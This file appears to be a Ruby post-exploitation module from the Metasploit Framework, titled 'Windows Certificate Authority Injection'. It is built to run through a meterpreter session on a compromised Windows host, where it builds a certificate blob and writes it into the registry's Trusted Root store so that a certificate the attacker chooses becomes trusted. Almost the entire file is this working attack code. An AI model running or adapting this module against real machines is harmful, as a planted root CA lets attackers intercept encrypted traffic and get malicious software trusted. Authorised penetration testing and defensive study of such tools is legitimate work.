109 lines
3.0 KiB
Ruby
109 lines
3.0 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Post
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Windows Certificate Authority Injection',
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'Description' => %q{
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This module allows the attacker to insert an arbitrary CA certificate
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into the victim's Trusted Root store.
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},
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'License' => BSD_LICENSE,
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'Author' => [ 'vt <nick.freeman[at]security-assessment.com>'],
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'Version' => '$Revision$',
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'Platform' => [ 'windows' ],
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'SessionTypes' => [ 'meterpreter' ]
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))
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register_options(
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[
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OptString.new('CAFILE', [ true, 'Path to the certificate you wish to install as a Trusted Root CA.', ''])
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], self.class)
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end
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def run
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certfile = datastore['CAFILE']
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# Check file path
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begin
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::File.stat(certfile)
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rescue
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print_error("CAFILE not found")
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return
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end
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cert = ''
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# Load the file
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f = ::File.open(certfile, 'rb')
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cert = f.read(f.stat.size)
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f.close
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loadedcert = OpenSSL::X509::Certificate.new(cert)
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certmd5 = Digest::MD5.hexdigest(loadedcert.to_der).scan(/../)
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certsha1 = Digest::SHA1.hexdigest(loadedcert.to_der).scan(/../)
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cskiray = loadedcert.extensions[0].value.gsub(/:/,'').scan(/../)
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derLength = loadedcert.to_der.length.to_s(16)
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if (derLength.length < 4)
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derLength = "0#{derLength}"
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end
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derRay = derLength.scan(/../)
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hexDerLength = [ derRay[1], derRay[0] ]
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certder = loadedcert.to_der.each_byte.collect {|val| "%02X" % val}
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bblob = [ "04", "00", "00", "00", "01", "00", "00", "00", "10", "00", "00", "00" ]
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bblob += certmd5
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bblob += [ "03", "00", "00", "00", "01", "00", "00", "00", "14", "00", "00", "00" ]
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bblob += certsha1
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bblob += [ "14", "00", "00", "00", "01", "00", "00", "00", "14", "00", "00", "00" ]
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bblob += cskiray
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bblob += [ "20", "00", "00", "00", "01", "00", "00", "00" ]
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bblob += hexDerLength
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bblob += [ "00", "00" ]
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bblob += certder
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blob = bblob.map(&:hex).pack("C*")
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cleancertsha1 = certsha1.to_s.gsub(/[\s\[\\\"\]]/,'').gsub(/,/,'').upcase
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catree = "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\SystemCertificates\\ROOT\\Certificates"
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entire_key = "#{catree}\\#{cleancertsha1}"
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root_key, base_key = client.sys.registry.splitkey(entire_key)
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# Perform the registry operations
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# Ensure the cert doesn't already exist
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begin
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open_key = nil
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open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + 0x0000)
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values = open_key.enum_value
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if (values.length > 0)
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print_error("Key already exists!")
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return
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end
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rescue
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open_key = nil
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open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE + 0x0000)
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print_status("Successfully created key: #{entire_key}")
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open_key.set_value('Blob', REG_BINARY, blob)
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print_good("CA inserted!")
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end
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end
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end
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